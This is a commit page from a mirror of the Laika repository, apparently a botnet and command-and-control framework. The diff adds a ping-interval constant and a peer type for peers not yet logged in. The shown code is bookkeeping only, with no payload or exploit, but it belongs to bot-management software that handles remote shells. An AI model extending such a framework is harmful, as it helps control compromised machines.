1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-16 09:20:08 +00:00

Lib: added PEER_PEER type for uninitalized peers

- defined LAIKA_PING_INTERVAL for the ping task
This commit is contained in:
2022-06-30 09:18:01 -05:00
parent bc9891bcfd
commit bc071c10d2
9 changed files with 45 additions and 17 deletions

View File

@@ -16,6 +16,7 @@
#define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32
#define LAIKA_PING_INTERVAL 5000
/*
first handshake between peer & cnc works as so:

View File

@@ -9,9 +9,9 @@
typedef enum
{
PEER_UNKNWN,
PEER_PEER, /* unlogged-in peer */
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_CNC, /* cnc 2 cnc communication (unused) */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;

View File

@@ -16,7 +16,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
peer->pList = pList;
peer->uData = uData;
peer->pktSize = 0;
peer->type = PEER_UNKNWN;
peer->type = PEER_PEER;
peer->osType = OS_UNKNWN;
peer->pktID = LAIKAPKT_MAXNONE;
peer->outStart = -1;